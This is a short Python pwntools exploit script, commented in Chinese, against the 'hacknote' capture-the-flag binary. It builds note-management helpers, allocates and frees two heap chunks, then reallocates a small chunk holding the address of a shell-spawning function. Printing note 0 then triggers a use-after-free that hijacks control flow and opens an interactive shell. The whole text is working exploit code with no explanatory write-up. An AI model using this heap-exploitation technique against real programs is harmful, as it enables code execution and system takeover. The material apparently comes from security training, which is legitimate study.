#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

#显示调试信息
context.log_level = 'debug'
context.terminal = ['terminator', '-e']

# 获取进程
p=process('./hacknote')

# 增加笔记
def addnote(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)

# 删除笔记
def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))

# 打印笔记
def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))

# shell函数地址
shell = 0x400BD1 

# 申请3块chunk
addnote(32,"0000")
addnote(32,"1111")
addnote(32,"2222")

# 释放序号0、序号1
delnote(0)
delnote(1)

# 再申请一块chunk
addnote(10,p64(shell))
printnote(0)

p.interactive()
